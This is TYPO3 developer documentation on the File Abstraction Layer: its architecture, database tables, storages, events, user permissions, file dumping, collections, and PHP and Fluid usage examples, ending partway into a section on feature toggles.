using the local file system driver and pointing to the
fileadmin/ directory, located in your public folder.
If it is missing or offline after installation, you can create it yourself.
Files and metadata
For each available file in all present storages, there exists a
corresponding database record in the table
sys_file, which
contains basic information about the file (name, path, size, etc.),
and an additional record in the table
sys_file_metadata, designed
to hold a large variety of additional information about the file
(metadata such as title, description, width, height, etc.).
Tip
Although FAL is part of the TYPO3 Core, there is a
system extension called filemetadata, which is not installed
by default. It extends the
sys_file_metadata table with
fields such as copyright notice, author name, location, etc.
File references
Whenever a file is used - for example, an image attached to a
content element - a reference is created in the database
between the file and the content element. This reference can
hold additional information like an alternative title to
use for this file just for this reference.
This central reference table (
sys_file_reference) makes
it easy to track every place where a file is used inside a
TYPO3 installation.
All these elements are explored in greater depth in the chapter
about FAL components.
Architecture
This chapter provides an in-depth look into the
architecture of FAL.
The file abstraction layer (FAL) architecture consists of three layers:
Usage layer
This layer is comprised of the
file references, which
represent relations to files from any structure that may use them (pages,
content elements or any custom structure defined by extensions).
Storage layer
This layer is made of several parts. First of all there are the
files
and their associated
metadata. Then each
file is associated with
a storage.
Driver layer
This layer is the deepest one. It consists of the
drivers, managing
the actual access to and manipulation of the files. It is invisible
from both the frontend and the backend, as it works just in the
background.
Indeed drivers are explicitly not part of the public interface.
Developers will only interact with
file, folder,
file reference or
storage objects, but never with
a driver object, unless actually developing one.
This layered architecture makes it easy to use different drivers for accessing files,
while maintaining a consistent interface for both developers (in terms of API)
and end users (via the backend).
Folders
The actual storage structure depends on which
driver each
storage
is based on. When using the local file system driver provided by
the TYPO3 Core, a storage will correspond to some existing
folder on the local storage system (for example, on the hard drive). Other
drivers may use virtual structures.
By default, a storage pointing to the fileadmin/ folder
is created automatically in every TYPO3 installation.
Processed files
Inside each storage there will be a folder named _processed_/
which contains all resized images, be they rendered in the frontend
or thumbnails from the backend. The name of this folder is not
hard-coded. It can be defined as a property of the storage.
It may even point to a different storage.
Special properties in the "Access capabilities" tab of a File storage
Database structure
This chapter lists the various tables related to the file abstraction layer
(FAL) and highlights some of their important fields.
A string which should uniquely identify a file within its
storage.
Duplicate identifiers are possible, but will create a confusion.
For the local file system driver,
the identifier is the path to the file, relative to the storage root
(starting with a slash and using a slash as directory delimiter).
name
The name of the file. For the local file system driver, this will be
the current name of the file in the file system.
sha1
A hash of the file's content. This is used to detect whether a file
has changed or not.
metadata
Foreign side of the sys_file_metadata
relation. Always
0 in the database, but necessary for the
TCA of the
sys_file table.
Caution
Changed in version 13.0.1/12.4.11/11.5.35
Modifying the
sys_file table using DataHandler is blocked since TYPO3
version 11.5.35, 12.4.11, and 13.0.1. The table
should not be extended and additional fields should be added to
sys_file_metadata. See security advisory TYPO3-CORE-SA-2024-006
for more information.
sys_file_metadata
This table is used to store metadata about each file. It has a one-to-one
relationship with table sys_file.
Contrary to the basic information stored in
sys_file, the content of the
table
sys_file_metadata can be translated.
Most fields are really just additional information. The most
important one is:
file
ID of the
sys_file record of the file the metadata is related to.
The
sys_file_metadata table is extended by the system extension
filemetadata. In particular, it adds the necessary definitions
to categorize files with system categories.
Also some other helpful metadata attributes are provided (and some of them
can be automatically inferred from the file). Most of these attributes
are self-explanatory; this list may not reflect the most recent TYPO3
version, so it is recommended to inspect the actual TCA configuration
of that table:
caption
color_space
content_creation_date - Refers to when the contents of the file were created (retrievable for images through EXIF metadata)
content_modification_date
copyright
creator
creator_tool - Name of a tool that was used to create the file (for example for auto-generated files)
download_name - An alternate name of a file when being downloaded (to protect actual file name security relevance)
duration - length of audio/video files, or "reading time"
height
keywords
language - file content language
latitude
location_city
location_country
location_region
longitude
note
pages - Related pages
publisher
ranking - Information on prioritizing files (like "star ratings")
source - Where a file was fetched from (for example from libraries, clients, remote storage, ...)
status - indicate whether a file may need metadata update based on differences between locally cached metadata and remote/actual file metadata
unit - measurement units
visible
width
sys_file_reference
This table is used to store all references between files and
whatever other records they are used in, typically pages and
content elements. The most important fields are:
uid_local
ID of the file.
uid_foreign
ID of the related record.
tablenames
Name of the table containing the related record.
fieldname
Name of the field of the related record where the relation was created.
title
When a file is referenced, normally its title is used (for
whatever purpose, like displaying a caption for example). However it is
possible to define a title in the reference, which will be used instead
of the original file's title.
The fields
description,
alternative and
downloadname
obey the same principle.
sys_file_processedfile
This table is similar to sys_file,
but for "temporary" files, like image previews. This table does not have a
TCA representation, as it is only written for using
direct SQL queries in the source code.
sys_file_collection
FAL offers the possibility to create file collections,
which can then be used for various purposes. By default,
they can be used with the "File links" content element.
The most important fields are:
type
The type of the collection. A collection can be based on hand-picked files,
a folder or categories.
files
The list of selected files. The relationship between files and their collection
is also stored in sys_file_reference.
folder_identifier
The field contains the so-called "combined identifier" in the format
storage:folder, where "storage" is the
uid of the corresponding
sys_file_storage record and
folder the absolute path to the
folder. An example for a combined identifier is 1:/user_upload.
category
The chosen categories, for category-type collections.
sys_file_storage
This table is used to store the storages available in the installation.
The most important fields are:
The storage configuration with regards to its driver. This is a
FlexForm field and the current options
depend on the selected driver.
sys_filemounts
File mounts are not specifically part of FAL (they existed long
before), but their definition is based on
storages. Each file mount is
related to a specific storage. The most important field is:
identifier
The identifier in the format base:path, where base is the storage ID and
path the path to the folder, for example 1:/user_upload.
Components
The file abstraction layer (FAL) consists of a number of components that
interact with each other. Each component has a clear role in the architecture,
which is detailed in this section.
Files and folders
The files and folders are facades representing files and folders
or whatever equivalent there is in the system the
driver is connecting to
(it could be categories from a digital asset management tool, for example).
They are tightly coupled with the
storage, which they use to actually
perform any actions. For example a copying action (
$file->copyTo($targetFolder))
is technically not implemented by the
\TYPO3\CMS\Core\Resource\File
object itself but in the storage and Driver.
Apart from the shorthand methods to the action methods of the storage,
the files and folders are pretty lightweight objects with properties
(and related getters and setters) for obtaining information
about their respective file or folder on the file system, such as name or size.
A file can be indexed, which makes it possible to reference the file
from any database record in order to use it, but also speeds up obtaining
cached information such as various metadata or other file properties like size
or file name.
A file may be referenced by its uid in the sys_file table,
but is often referred to by its identifier, which is the path to the
file from the root of the storage the file belongs to. The
combined identifier includes the file's identifier prepended
by the storage's uid and a colon (:). Example:
1:/path/to/file/filename.foo.
File references
A
\TYPO3\CMS\Core\Resource\FileReference basically
represents a usage of a file in a specific location, for example,
as an image attached to a content element (
tt_content) record.
A file reference always references a real, underlying file,
but can add context-specific information such as a caption text for an image
when used at a specific location.
In the database, each file reference is represented by a record in the
sys_file_reference table.
Creating a reference to a file requires the file to be indexed first,
as the reference is done through the normal record relation handling of TYPO3.
Note
Technically, the
\TYPO3\CMS\Core\Resource\FileReference implements
the same interface as the
\TYPO3\CMS\Core\Resource\File itself.
So you have all the methods and properties of a file available in the
FileReference as well. This makes it possible to use both files and
references to them.
Additionally, there is a property
originalFile on the
FileReference which lets you get information about the underlying
file (for example,
$fileReference->getOriginalFile()->getName()).
Storage
The storage is the focal point of the FAL architecture. Although it does not
perform the actual low-level actions on a file (that is up to the
driver), it still does most of the
logic.
Among the many things done by the storage layer are:
the capabilities check (is the driver capable of writing a file to the
target location?)
the action permission checks (is the user allowed to do file actions at all?)
the user mount permission check (do the user's file mount restrictions allow
reading the target file and writing to the target folder?)
communication with the driver (it is the ONLY object that does so)
logging and throwing of exceptions for successful and unsuccessful file
operations (although some exceptions are also thrown in other layers if
necessary, of course)
The storage essentially works with
\TYPO3\CMS\Core\Resource\File
and
\TYPO3\CMS\Core\Resource\Folder objects.
The driver does the actual actions on a file (for example, moving, copying,
etc.). It can rely on the storage having done all the necessary checks
beforehand, so it doesn't have to worry about permissions and other rights.
In the communication between storage and driver, the storage hands over identifiers
to the driver where appropriate. For example, the
copyFileWithinStorage()
method of the driver API has the following method signature:
Excerpt from EXT:core/Classes/Resource/Driver/DriverInterface.php
/**
* Copies a file *within* the current storage.
* Note that this is only about an inner storage copy action,
* where a file is just copied to another folder in the same storage.
*
* @param non-empty-string $fileIdentifier
* @param non-empty-string $targetFolderIdentifier
* @param non-empty-string $fileName
* @return non-empty-string the Identifier of the new file
*/publicfunctioncopyFileWithinStorage(string $fileIdentifier, string $targetFolderIdentifier, string $fileName): string;
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The file index
Indexing a file creates a database record for the file, containing
meta information both about the file (filesystem properties) and from the
file (for example, EXIF information for
images). Collecting filesystem data is done by the
driver, while all additional
properties have to be fetched by additional services.
This distinction is important because it makes clear that FAL does in fact two
things:
It manages files in terms of assets we use in our content management system.
In that regard, files are not different from any other content, like texts.
On the other hand, it also manages files in terms of a representation of
such an asset. While the former thing only uses the contents, the latter
heavily depends on the file itself and thus is considered low-level,
driver-dependent stuff.
Managing the asset properties of a file (related to its contents) is not done
by the storage/driver combination, but by services that build on these low-level
parts.
Technically, both indexed and non-indexed files are represented by the same
object type (
\TYPO3\CMS\Core\Resource\File ), but being indexed is
nevertheless an important step for a file.
Note
An object of an indexed file could theoretically even live without
its storage as long as it is only about querying the object for file
properties, as all these properties reside in the database and are read from
there when constructing the object. This is currently not the case, as files
are always retrieved via storages.
Collections
Collections are groups of files defined in various
ways. They can be picked up individually, by the selection of a folder or by the
selection of one or more categories. Collections can be used
by content elements or plugins for various needs.
The TYPO3 Core makes usage of collections for the "File Links" content object
type.
Services
The file abstraction layer also comes with a number of services:
This service processes files to generate previews or scaled/cropped images.
These two functions are known as task types and are identified by class
constants.
The task which generates preview images is used in most places in the backend
where thumbnails are called for. It is identified by constant
\TYPO3\CMS\Core\Resource\ProcessedFile::CONTEXT_IMAGEPREVIEW.
The other task is about cropping and scaling an image, typically for frontend
output. It is identified by the
constant
\TYPO3\CMS\Core\Resource\ProcessedFile::CONTEXT_IMAGECROPSCALEMASK).
The configuration for
\TYPO3\CMS\Core\Resource\ProcessedFile::CONTEXT_IMAGECROPSCALEMASK
is the one used for the imgResource function,
but only taking the crop, scale and mask settings into account.
This service provides a single public method which builds a list of
folders (and subfolders, recursively) inside any given storage. It is
used when defining file mounts.
PSR-14 events
The file abstraction layer (FAL) comes with a series of
PSR-14 events that offer the opportunity to
hook into FAL processes at a variety of points.
They are listed below with some explanation, in particular when
they are sent (if the name is not explicit enough) and what
parameters the corresponding event will receive. They are grouped
by emitting class.
Most events exist in pairs, one being sent before a given
operation, the other one after.
Note
Unless communicated otherwise, mentions of the
File class below
actually refer to the
\TYPO3\CMS\Core\Resource\FileInterface interface.
Folder objects actually refer to the
\TYPO3\CMS\Core\Resource\Folder class.
The sanitize file name operation aims to remove characters from
filenames which are not allowed by the underlying
driver. The event receives the
filename and the target folder.
Receives references to the folder to copy and the parent target folder
(both as
\TYPO3\CMS\Core\Resource\FolderInterface instances)
and the sanitized name for the copy.
Receives references to the original folder and the parent target folder
(both as
\TYPO3\CMS\Core\Resource\FolderInterface instances)
and the identifier of the newly copied folder.
Receives references to the folder to move and the parent target folder
(both as
Folder instances), the identifier of the moved folder
and a reference to the original parent folder (as a
Folder instance).
This event makes it possible to influence the construction of the public URL
of a resource. If the event defines the URL, it is kept as is and the rest
of the URL generation process is ignored.
It receives a reference to the instance for which the URL should be generated
(as a
\TYPO3\CMS\Core\Resource\ResourceInterface instance),
a boolean flag indicating whether the URL should be relative to the current
script or absolute and a reference to the public URL (which is null at
this point, but can be then modified by the event).
This event is dispatched by the method
\TYPO3\CMS\Core\Resource\StorageRepository::getStorageObject()
before a storage object has
been fetched. The event receives a reference to the storage.
This event is dispatched by the method
\TYPO3\CMS\Core\Resource\StorageRepository::getStorageObject()
after a storage object has
been fetched. The event receives a reference to the storage.
This event is dispatched after metadata for a given file has been
updated. The event receives the metadata as an array containing all
metadata fields (and not just the updated ones).
This event is dispatched before a file is processed. The event receives
a reference to the processed file and to the original file (both as
File instances), a string defining the type of task being
executed and an array containing the configuration for that task.
This event is dispatched after a file has been processed. The event receives
a reference to the processed file and to the original file (both as
File instances), a string defining the type of task being
executed and an array containing the configuration for that task.
System permissions are strictly enforced and may prevent an action
no matter what component triggered them.
Administrators always have full access. The only reason they might not
have access is that the underlying file system or storage service does
not allow access to a resource (for example, some file is read-only in the
local file system).
File mounts
File mounts
restrict users to a certain folder in a certain storage. This is
an obvious permission restriction: users will never be able to act
on a file or folder outside of their allotted file mounts.
It is also possible to set permissions using user TSconfig,
defined either at backend user or backend user group level. The TSconfig way is
recommended because it allows for more flexibility. See some examples below and
read on in the section about permissions
in the user TSconfig reference.
The default permissions for backend users and backend user groups
are read-only:
If no permissions are defined in TSconfig, the settings in the backend user
and in the backend user group record are taken into account and treated as
default permissions for all storages.
User permissions per storage
Using user TSconfig it is possible to set
different permissions for different
storages. This syntax uses the uid
of the targeted storage record.
The following example grants all permission for the storage with uid "1":
Configured permissions for a specific storage take precedence over
default permissions.
User permissions details
This model for permissions behaves very similar to permission systems
on Unix and Linux systems. Folders are seen as a collection of files and
folders. If you want to change that collection by adding, removing or renaming
files or folders you need to have write permissions for the folder as well.
If you only want to change the content of a file you need write permissions
for the file but not for the containing folder.
Here is the detail of what the various permission options mean:
addFile
Create new files, upload files.
readFile
Show content of files.
writeFile
Edit or save contents of files, even if NO write permissions to folders are granted.
copyFile
Allow copying of files; needs writeFolder permissions for the target folder.
moveFile
Allow moving files; needs writeFolder permissions for source and target folders.
Add or create new folders; needs writeFolder permissions for the parent folder.
readFolder
List contents of folder.
writeFolder
Permission to change contents of folder (add files, rename files, add folders,
rename folders). Changing contents of existing files is not governed by this
permission!
copyFolder
Needs writeFolder permissions for the target folder.
moveFolder
Needs writeFolder permissions for both target and source folder (because it is
removed from the latter, which changes the folder).
renameFolder
Needs writeFolder permissions (because it changes the folder itself and also
the containing folder's contents).
deleteFolder
Remove an (empty) folder; needs write folder permissions.
recursivedeleteFolder
Remove a folder even if it has contents; needs write folder permissions.
Default upload folder
When nothing else is defined, any file uploaded by a user will end up
in fileadmin/user_upload/. The user TSconfig property
defaultUploadFolder, allows
to define a different default upload folder on a backend user or backend user
group level, for example:
EXT:my_extension/Configuration/user.tsconfig
options.defaultUploadFolder = 3:users/uploads/
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There are a number of circumstances where it might be convenient
to change the default upload folder. The PSR-14 event
AfterDefaultUploadFolderWasResolvedEvent exists to provide
maximum flexibility in that regard. For example, take a look at the extension
default_upload_folder, which makes it possible to define a default upload
folder for a given field of a given table (using custom TSconfig).
Frontend permissions
The system extension filemetadata adds a
fe_groups field to the
sys_file_metadata table.
This makes it possible to attach frontend permissions to files. However, these
permissions are not enforced in any way by the TYPO3 Core. It is up to extension
developers to create tools which make use of these permissions.
File storages can be administered
through the Web > List module. They have a few properties which
deserve further explanation.
Special properties in the "Access capabilities" tab of a File storage
Is browsable?
If this box is not checked, the storage will not be browsable by
users via the File > Filelist module, nor via the link browser
window.
Is publicly available?
When this box is unchecked, the
publicUrl property of files is
replaced by an eID call pointing to a file dumping script provided
by the TYPO3 Core. The public URL looks something like
index.php?eID=dumpFile&t=f&f=1230&token=135b17c52f5e718b7cc94e44186eb432e0cc6d2f.
Behind the scenes, the class
\TYPO3\CMS\Core\Controller\FileDumpController
is invoked to manage the download. The class itself does not implement
any access checks, but provides the PSR-14 event ModifyFileDumpEvent
for doing so.
Warning
This does not protect your files, if the configured storage folder is
within your web root. They will still be available to anyone who knows
the path to the file. To implement a strict access restriction, the
storage must point to some path outside the web root. Alternatively, the
folder it points to must contain web server restrictions to block direct
access to the files it contains (for example, in an Apache
.htaccess file).
Is writable?
When this box is unchecked, the storage is read-only.
Is online?
A storage that is not online cannot be accessed in the backend. This flag is
set automatically when files are not accessible (for example, when a
third-party storage service is not available) and the underlying driver
detects someone trying to access files in that storage.
The important thing to note is that a storage must be turned online again
manually.
Warning
This does not protect your files, if the configured storage folder is
within your web root or accessible via a third-party storage service
which is publicly available. The files will still be available to anyone
who knows the path to the file.
Assuming that a web project is located in the directory
/var/www/example.org/ (the "project root path" for Composer-based
projects) and the publicly accessible directory is located at
/var/www/example.org/public/ (the "public root path" or "web root"), accessing
resources via the File Abstraction Layer component is limited to the
mentioned directories and its sub-directories.
To grant additional access to directories, they must be explicitly
configured in the system settings of
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockRootPath']
- either using the Install Tool or according to deployment techniques.
Example:
config/system/settings.php
// Configure additional directories outside of the project's folder// as absolute paths
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockRootPath'] = [
‘/var/shared/documents/’,
‘/var/shared/images/’,
];
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Storages that reference directories not explicitly granted will be marked as
"offline" internally - no resources can be used in the website's frontend
and backend context.
There are various maintenance tasks which can be performed
to maintain a healthy TYPO3 installation with the
file abstraction layer.
Scheduler tasks
Two base tasks provided by the scheduler are
related to the file abstraction layer.
File abstraction layer: Update storage index
This task goes through a storage
and makes sure that each file is properly indexed. If files are only
manipulated via the TYPO3 backend, they are always indexed. However, if
files are added by other means (for example, FTP), or if some storages are
based on drivers accessing
remote systems, it is essential to run this task regularly so that the TYPO3
installation knows about all the existing files and can make them available
to users.
This task is defined per storage.
File abstraction layer: Extract metadata in storage
This task goes through all files in a
storage and updates their
metadata. Again, this is especially important when files can be manipulated
by other means or actually reside on external systems.
This task is defined per storage.
Processed files
If you change some graphics-related settings, it may be necessary
to force a regeneration of all processed files. This can be achieved
by deleting all existing processed files in
Admin Tools > Maintenance > Remove Temporary Assets.
Removing all processed files in the Maintenance Tool
Here you can choose to delete all files in fileadmin/_processed_/
This cleanup is also a good idea if you have been accumulating files for a long
time. Many of them may be obsolete.
Attention
If you delete processed files, you should flush the page cache immediately
afterwards. If pages are cached and the page uses processed images, these
will not be regenerated on the fly when a page is loaded. Ideally, make sure
the removal of the processed files and flushing of page cache is one atomic
operation which is performed as quickly as possible.
After flushing page cache, it is a good idea to warmup the page cache. Generating
the pages for the first time may take longer than usual because the processed
files need to be regenerated. There is currently no Core functionality to warmup
the page cache for all pages, but there are a number of extensions which
provide this functionality. Alternatively, one can use the sitemap and a tool
such as wget for this.
Also, deleting processed files while editors are active is not ideal.
Preferably, lock the TYPO3 backend before you remove the processed files.
Using FAL
This chapter explains the principles on how to use FAL in
various contexts, like the frontend or during extension
or TYPO3 Core development, by the way of references
or useful examples for common use cases.
Using FAL relations in the frontend via
TypoScript is achieved using the
FILES content object, which is
described in detail in the TypoScript Reference.
If you are in Extbase context, you usually have a
\TYPO3\CMS\Extbase\Domain\Model\FileReference domain model instead of a "pure"
\TYPO3\CMS\Core\Resource\FileReference object. In order to get the
meta data, you need to resolve the
\TYPO3\CMS\Core\Resource\FileReference
first by accessing the
originalResource property:
The system extension filemetadata (if installed) provides some additional
meta data fields for files, for example
creator,
publisher,
copyright and others. To access those fields
(see list) in the frontend, you
have to use the
getProperties() proxy method, which makes all keys
available via
fileReference.properties.XXX:
The additional fields provided by the "filemetadata" extension are not
listed as properties when you use
<f:debug> on a
\TYPO3\CMS\Core\Resource\FileReference object.
Some metadata fields, like title and description, can be entered either
in the referenced file itself or in the reference or both. TYPO3 automatically
merges both sources when you access
originalResource in Fluid. So
originalResource returns the merged value. Values which are entered in
the reference will override values from the file itself.
FLUIDTEMPLATE
More often the file reference information will not be available explicitly. The
FLUIDTEMPLATE content object has a
dataProcessing
property which can be used to call the
\TYPO3\CMS\Frontend\DataProcessing\FilesProcessor class, whose task is to
load all media referenced for the current database record being processed.
This will fetch all files related to the content element being rendered
(referenced in the
image field) and make them available in a
variable called
images. This can then be used in the Fluid
template:
The
\TYPO3\CMS\Core\Resource\StorageRepository is the
main class for creating and retrieving
file storage objects.
It contains a number of utility methods, some of
which are described here, some others which appear in the
other code samples provided in this chapter.
Getting the default storage
Of all available storages, one may be marked as default. This
is the storage that will be used for any operation whenever
no storage has been explicitly chosen or defined (for example,
when not using a combined identifier).
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Resource;
useTYPO3\CMS\Core\Resource\ResourceStorage;
useTYPO3\CMS\Core\Resource\StorageRepository;
finalclassGetDefaultStorageExample{
publicfunction__construct(
private readonly StorageRepository $storageRepository,
){}
publicfunctiondoSomething(): void{
$defaultStorage = $this->storageRepository->getDefaultStorage();
// getDefaultStorage() may return null, if no default storage is configured.// Therefore, we check if we receive a ResourceStorage objectif ($defaultStorage instanceof ResourceStorage) {
// ... do something with the default storage
}
// ... more logic
}
}
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Getting any storage
The
StorageRepository class should be used for retrieving any storage.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Classes;
useTYPO3\CMS\Core\Resource\Exception\FileDoesNotExistException;
useTYPO3\CMS\Core\Resource\File;
useTYPO3\CMS\Core\Resource\ResourceFactory;
finalclassMyClass{
publicfunction__construct(
private readonly ResourceFactory $resourceFactory,
){}
publicfunctiondoSomething(): void{
// Get the file object with uid=4try {
/** @var File $file */
$file = $this->resourceFactory->getFileObject(4);
} catch (FileDoesNotExistException $e) {
// ... do some exception handling
}
// ... more logic
}
}
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By its combined identifier
EXT:my_extension/Classes/MyClass.php
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Classes;
useTYPO3\CMS\Core\Resource\File;
useTYPO3\CMS\Core\Resource\ProcessedFile;
useTYPO3\CMS\Core\Resource\ResourceFactory;
finalclassMyClass{
publicfunction__construct(
private readonly ResourceFactory $resourceFactory,
){}
publicfunctiondoSomething(): void{
// Get the file object by combined identifier "1:/foo.txt"/** @var File|ProcessedFile|null $file */
$file = $this->resourceFactory->getFileObjectFromCombinedIdentifier('1:/foo.txt');
// ... more logic
}
}
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The syntax of argument 1 for
getFileObjectFromCombinedIdentifier() is
[[storage uid]:]<file identifier>
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The storage uid is optional. If it is not specified, the default storage "0"
will be assumed initially. The default storage is virtual with
$uid === 0
in its class
\TYPO3\CMS\Core\Resource\ResourceStorage . In this case the
local filesystem is checked for the given file. The file identifier is the local
path and filename relative to the TYPO3 fileadmin/ folder.
Example: /some_folder/some_image.png, if the file
/absolute/path/to/fileadmin/some_folder/some_image.png exists on the
file system.
The file can be accessed from the default storage, if it exists under the given
local path in fileadmin/. In case the file is not found, a search for
another storage best fitting to this local path will be started. Afterwards, the
file identifier is adapted accordingly inside of TYPO3 to match the new
storage's base path.
For controlled or low-level operations, consistency checks can be bypassed temporarily:
<?phpclassImportCommand{
use \TYPO3\CMS\Core\Resource\ResourceInstructionTrait;
protectedfunctionexecute(): void{
// ...// Skip the consistency check once for the specified storage, source, and target$this->skipResourceConsistencyCheckForCommands($storage, $temporaryFileName, $targetFileName);
/** @var \TYPO3\CMS\Core\Resource\File $file */
$file = $storage->addFile($temporaryFileName, $targetFolder, $targetFileName);
}
}
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Creating a file reference
In backend context
In the backend or command line context, it is
possible to create file references using the DataHandler
(
\TYPO3\CMS\Core\DataHandling\DataHandler ).
Assuming you have the "uid" of both the
File and whatever other item
you want to create a relation to, the following code will create
the sys_file_reference
entry and the relation to the other item (in this case a
tt_content
record):
EXT:my_extension/Classes/MyClass.php
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Classes;
useTYPO3\CMS\Backend\Utility\BackendUtility;
useTYPO3\CMS\Core\DataHandling\DataHandler;
useTYPO3\CMS\Core\Resource\ResourceFactory;
useTYPO3\CMS\Core\Utility\GeneralUtility;
useTYPO3\CMS\Core\Utility\StringUtility;
finalclassMyClass{
publicfunction__construct(
private readonly ResourceFactory $resourceFactory,
){}
publicfunctiondoSomething(): void{
// Get file object with uid=42
$fileObject = $this->resourceFactory->getFileObject(42);
// Get content element with uid=21
$contentElement = BackendUtility::getRecord('tt_content', 21);
// Assemble DataHandler data
$newId = StringUtility::getUniqueId('NEW'); // random string prefixed with NEW
$data = [];
$data['sys_file_reference'][$newId] = [
'uid_local' => $fileObject->getUid(),
'tablenames' => 'tt_content',
'uid_foreign' => $contentElement['uid'],
'fieldname' => 'assets',
'pid' => $contentElement['pid'],
];
$data['tt_content'][$contentElement['uid']] = [
'assets' => $newId, // For multiple new references $newId is a comma-separated list
];
/** @var DataHandler $dataHandler */// Do not inject or reuse the DataHander as it holds state!// Do not use `new` as GeneralUtility::makeInstance handles dependencies
$dataHandler = GeneralUtility::makeInstance(DataHandler::class);
// Process the DataHandler data
$dataHandler->start($data, []);
$dataHandler->process_datamap();
// Error or success reportingif ($dataHandler->errorLog === []) {
// ... handle success
} else {
// ... handle errors
}
}
}
In a frontend context, the
\TYPO3\CMS\Core\DataHandling\DataHandler
class cannot be used and there is no specific API to create a file reference.
You are on your own.
These would be the shortest steps to get the list of files in a given
folder: get the storage, get
a folder object for some path in that storage (path relative to storage root),
finally retrieve the files:
TYPO3 registers an eID script that allows dumping / downloading / referencing
files via their FAL IDs. Non-public storages use this script to make their files
available to view or download. File retrieval is done via PHP and delivered
through the eID script.
An example URL looks like this:
index.php?eID=dumpFile&t=f&f=1230&token=135b17c52f5e718b7cc94e44186eb432e0cc6d2f.
Following URI parameters are available:
t (Type): Can be one of f (sys_file),
r (sys_file_reference) or p (sys_file_processedfile)
f (File): UID of table
sys_file
r (Reference): UID of table
sys_file_reference
p (Processed): UID of table
sys_file_processedfile
s (Size): Size (width and height) of the file
cv (CropVariant): In case of
sys_file_reference, you can
assign a cropping variant
You have to choose one of these parameters: f, r or p.
It is not possible to combine them in one request.
The parameter s has following syntax: width:height:minW:minH:maxW:maxH.
You can leave this parameter empty to load the file in its original size.
The parameters width and height can feature the trailing
c or m indicator, as known from TypoScript.
The PHP class responsible for handling the file dumping is the
\TYPO3\CMS\Core\Controller\FileDumpController , which you may also use
in your code.
Changed in version 14.0
Until TYPO3 v13 generating the Hash-based Message Authentication Codes (HMACs)
was done via
GeneralUtility::hmac(); this has been deprecated with
TYPO3 v13.1 and removed with TYPO3 v14.0. Use the
\TYPO3\CMS\Core\Crypto\HashService::hmac() method instead.
See the following example on how to create a URI using the
FileDumpController for a
sys_file record with a fixed image size:
You cannot assign any size parameter to processed files, as they are already
resized.
You cannot apply crop variants to
sys_file and
sys_file_processedfile records, only to
sys_file_reference
Working with collections
The
\TYPO3\CMS\Core\Resource\ResourceFactory class
provides a convenience method to retrieve a
File Collection.
EXT:my_extension/Classes/CollectionExample.php
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension;
useTYPO3\CMS\Core\Resource\ResourceFactory;
finalclassCollectionExample{
publicfunction__construct(
private readonly ResourceFactory $resourceFactory,
){}
publicfunctiondoSomething(): void{
// Get collection with uid 1
$collection = $this->resourceFactory->getCollectionObject(1);
// Load the contents of the collection
$collection->loadContents();
}
}
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In this example, we retrieve and load the content from the
File Collection with a uid of "1". Any collection
implements the
\Iterator interface, which means that a collection
can be looped over (once its content has been loaded). Thus,
if the above code passed the
$collection variable to
a Fluid view, you could do the following:
An API is provided by the file abstraction layer (FAL) to search for files in a
storage or folder. It includes matches in meta data of those files. The given
search term is looked for in all
search fields defined in TCA of
sys_file and
sys_file_metadata tables.
It is possible to further limit the result set, by adding additional
restrictions to the
FileSearchDemand. Please note, that
FileSearchDemand is an immutable value object, but allows chaining
methods for ease of use:
A driver capability
\TYPO3\CMS\Core\Resource\Capabilities::CAPABILITY_HIERARCHICAL_IDENTIFIERS
is available to implement an optimized search with good performance. Drivers can
optionally add this capability in case the identifiers constructed by the driver
include the directory structure. Adding this capability to drivers
can provide a big performance boost when it comes to recursive search (which is
the default in the file list and file browser UI).
Changed in version 13.0
The
CAPABILITY_* constants from the class
\TYPO3\CMS\Core\Resource\ResourceStorageInterface were removed
and are now available via the class
\TYPO3\CMS\Core\Resource\Capabilities .
File collections
File collections are collections of
file references.
They are used by the "File links" (download) content element.
A "File links" content element referencing a file collection
Note that a file collection may also reference a folder, in which case
all files inside the folder will be returned when calling that collection.
A file collection referencing a folder
Collections API
The TYPO3 Core provides an API to enable usage of collections
inside extensions. The most important classes are:
\TYPO3\CMS\Core\Resource\FileCollectionRepository
Used to retrieve collections. It is not exactly an
Extbase repository but works in a similar way.
The default "find" methods refer to the
sys_file_collection
table and will fetch "static"-type collections.
This class models the static file collection. It is important to note
that collections returned by the repository (described above) are "empty".
If you need to access their records, you need to load them first, using
method loadContents(). On top of some specific API methods,
this class includes all setters and getters that you may need to access
the collection's data. For accessing the selected files, just loop
on the collection (see example).
<?phpdeclare(strict_types=1);
namespaceCollections;
usePsr\Http\Message\ResponseInterface;
useTYPO3\CMS\Core\Resource\FileCollectionRepository;
useTYPO3\CMS\Extbase\Mvc\Controller\ActionController;
finalclassMyControllerextendsActionController{
publicfunction__construct(
private readonly FileCollectionRepository $collectionRepository,
){}
/**
* Renders the list of all existing collections and their content
*/publicfunctionlistAction(): ResponseInterface{
// Get all existing collections
$collections = $this->collectionRepository->findAll() ?? [];
// Load the records in each collectionforeach ($collections as $aCollection) {
$aCollection->loadContents();
}
// Assign the "loaded" collections to the view$this->view->assign('collections', $collections);
return$this->htmlResponse();
}
}
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All collections are fetched and passed
to the view. The one specific step is the loop over all collections to load
their referenced records. Remember that a collection is otherwise "empty".
In the view we can then either use collection member variables as usual
(like their title) or put them directly in a loop to iterate over the
record selection:
<f:sectionname="main"><ulclass="collection with-header"><f:foreach="{collections}"as="collection"><liclass="collection-header"><h4>{collection.title} (Records from <code>{collection.itemTableName}</code>)</h4></li><f:foreach="{collection}"as="record"><liclass="collection-item">{record.name}</li></f:for></f:for></ul></f:section>
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Here is what the result may look like (the exact result will obviously
depend on the content of the selection):
Typical output from the "Collections" plugin
Feature toggle API
TYPO3 provides an API class for creating so-called "feature toggles". Feature
toggles provide an easy way to add new implementations of features next to their
legacy version. By using a feature toggle, the integrator or site administrator
can decide when to switch to the new feature.
The API checks against a system-wide option array within
$GLOBALS['TYPO3_CONF_VARS']['SYS']['features'] which an integrator or
admininistrator can set in the config/system/settings.php file. Both
TYPO3 Core and extensions can provide alternative functionality for a certain
feature.
Examples for features are:
Throw exceptions in new code instead of just returning a string message as
error message.
Disable obsolete functionality which might still be used, but slows down the
system.
Enable alternative "page not found" handling for an installation.
Feature names should NEVER be named "enable" or have a negation, or contain
versions or years. It is recommended to use "lowerCamelCase" notation for the
feature names.
Bad examples:
enableFeatureXyz
disableOverlays
schedulerRevamped2018
